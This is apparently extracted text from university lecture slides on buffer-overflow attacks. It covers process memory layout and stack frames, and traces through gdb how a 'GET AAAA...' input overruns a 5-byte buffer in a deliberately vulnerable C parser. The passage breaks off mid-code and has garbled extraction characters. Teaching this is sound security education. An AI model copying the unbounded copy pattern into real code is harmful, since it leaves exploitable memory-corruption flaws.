SlideShare a Scribd company logo
 So$ware	
  Security	
  (I):	
  	
  
	
  	
  	
  	
  	
  	
  Buffer-­‐overflow	
  A8acks	
  
Computer	
  Security	
  Course.	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   	
   	
  Dawn	
  Song	
  
Dawn	
  Song	
   1	
  
Intro	
  
SERVER	
  
CLIENT	
  
HTTP REQUEST
HTTP RESPONSE
EXPLOIT
Remote
Shell
CLIENT	
  ATTACKER	
  
Dawn	
  Song	
   2	
  
Linux	
  (32-­‐bit)	
  process	
  memory	
  layout	
  	
  
Reserved	
  for	
  Kernal	
  
user	
  stack	
  
shared	
  libraries	
  
run	
  9me	
  heap	
  
sta9c	
  data	
  segment	
  
text	
  segment	
  (program)	
  
unused	
  
-0xC0000000
-0x40000000
-0x08048000
%esp	
  
brk	
  
Loaded	
  from	
  exec	
  
-0x00000000
-0xFFFFFFFF
Stack	
  Frame	
  
user	
  stack	
  
shared	
  libraries	
  
run	
  9me	
  heap	
  
sta9c	
  data	
  
segment	
  
text	
  segment	
  
(program)	
  
unused	
  
-0xC0000000
-0x40000000
-0x08048000
-0x00000000
arguments	
  
return	
  address	
  
stack	
  frame	
  pointer	
  
excep9on	
  handlers	
  
local	
  variables	
  
callee	
  saved	
  registers	
  
To	
  previous	
  stack	
  
	
  frame	
  pointer	
  
To	
  	
  the	
  point	
  at	
  which	
  
	
  this	
  funcTon	
  was	
  called	
  
Stack	
  Frame	
  
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  128,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
13:	
  	
  if	
  (cmd[0]	
  ==	
  ‘G’)	
  
14:	
  	
  	
  	
  if	
  (cmd[1]	
  ==	
  ‘E’)	
  
15:	
  	
  	
  	
  	
  	
  if	
  (cmd[2]	
  ==	
  ‘T’)	
  
16:	
  	
  	
  	
  	
  	
  	
  	
  if	
  (cmd[3]	
  ==	
  ‘	
  ’)	
  
17:	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  header_ok	
  =	
  1;	
  
18:	
  	
  if	
  (!header_ok)	
  return	
  -­‐1;	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
A	
  quick	
  example	
  to	
  illustrate	
  
mul9ple	
  stack	
  frames	
  
Viewing	
  Stack	
  Frame	
  with	
  GDB	
  
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  128,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
13:	
  	
  if	
  (cmd[0]	
  ==	
  ‘G’)	
  
14:	
  	
  	
  	
  if	
  (cmd[1]	
  ==	
  ‘E’)	
  
15:	
  	
  	
  	
  	
  	
  if	
  (cmd[2]	
  ==	
  ‘T’)	
  
16:	
  	
  	
  	
  	
  	
  	
  	
  if	
  (cmd[3]	
  ==	
  ‘	
  ’)	
  
17:	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  header_ok	
  =	
  1;	
  
18:	
  	
  if	
  (!header_ok)	
  return	
  -­‐1;	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
gcc –g parse.c –o parse
Compile:	
  
./parse
Run:	
  
We	
  can	
  debug	
  using	
  gdb.	
  
	
  gdb parse
Then	
  we	
  can	
  take	
  a	
  look	
  at	
  the	
  stack.	
  
	
  (gdb) break 7
(gdb) run
(gdb) x/64x $esp	
  
	
  
Debug:	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
Our	
  example	
  modified	
  to	
  include	
  
a	
  main	
  func9on	
  
parse.c	
  
Viewing	
  Stack	
  Frame	
  with	
  GDB	
  
(gdb) x/64x $esp	
  
	
  
Debug:	
  
Our	
  running	
  example	
  modified	
  to	
  
illustrate	
  mul9ple	
  stack	
  frames	
  
parse.c	
  
What	
  are	
  buffer	
  overflows?	
  
args!
ret address!
frame ptr!
!
!
!
local
variables!
!
!
!
!
callee saved
registers!
(Unallocated)	
  
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
	
  
	
  
args!
ret address!
frame ptr!
local variables!
callee saved
registers!
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef20dc!
0xbf02224c!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
0xbffff760
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000000!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
copy_lower’s	
  
frame	
  
parse’s	
  
frame	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef20dc!
0xbf022261!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000000!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef20dc!
0xbf026161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000001!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef20dc!
0xbf616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000002!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef20dc!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000003!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!=‘n’)	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef2061!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000004!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbfef6161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000005!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
Uh	
  oh….	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0xbffff6c4!
0x00000001!
0xbf616161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000005!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
parse.c	
  
	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
Uh	
  oh….	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x0804a008!
0x080485a2!
0xbffff778!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x0000000d!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
parse.c	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
Uh	
  oh….	
  
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000019!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
parse.c	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
Uh	
  oh….	
  
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
  cmd	
  +	
  4;	
  
20:	
  	
  copy_lower(url,	
  buf);	
  
21:	
  	
  printf(“Location	
  is	
  %sn”,	
  buf);	
  
22:	
  	
  return	
  0;	
  }	
  
	
  1:void	
  copy_lower	
  (char*	
  in,	
  char*	
  out)	
  {	
  
	
  2:	
  	
  int	
  i	
  =	
  0;	
  
	
  3:	
  	
  while	
  (in[i]!=‘0’	
  &&	
  in[i]!='n')	
  {	
  
	
  4:	
  	
  	
  	
  out[i]	
  =	
  tolower(in[i]);	
  
	
  5:	
  	
  	
  	
  i++;	
  
	
  6:	
  	
  }	
  
	
  7:	
  	
  buf[i]	
  =	
  ‘0’;	
  
	
  8:}	
  
23:	
  /**	
  main	
  to	
  load	
  a	
  file	
  and	
  run	
  parse	
  */	
  
	
  
What	
  are	
  buffer	
  overflows?	
  
fp	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
url	
  
header_ok	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  buf[4]	
  
buf[3,2,1,0]	
  
cmd[128,127,126,125]	
  
.	
  
.	
  
.	
  
cmd[7,6,5,4]	
  
cmd[3,2,1,0]	
  
0xbffff75c
0xbffff758
0xbffff74c
0xbffff748
0xbffff744
0xbffff740
0xbffff73c
.
.
.
0xbffff6c4
0xbffff6c0
in	
  
return	
  address	
  
stack	
  frame	
  ptr	
  
i	
  
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x61616161!
0x00000000!
.!
.!
.!
0x41414141!
0x20544547!
!
!
(Unallocated)	
  
0xbffff740!
0xbffff6c4!
0x080485a2!
0xbffff758!
0x00000025!
out	
  
0xbffff6b4
0xbffff6b0
0xbffff6ac
0xbffff6a8
0xbffff69c
parse.c	
  
0xbffff760
file	
  
GET	
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
  
(input	
  file)	
  
Uh	
  oh….	
  
	
  9:int	
  parse(FILE	
  *fp)	
  {	
  
10:	
  	
  char	
  buf[5],	
  *url,	
  cmd[128];	
  
11:	
  	
  fread(cmd,	
  1,	
  256,	
  fp);	
  
12:	
  	
  int	
  header_ok	
  =	
  0;	
  
.	
  
.	
  
.	
  
19:	
  	
  url	
  =	
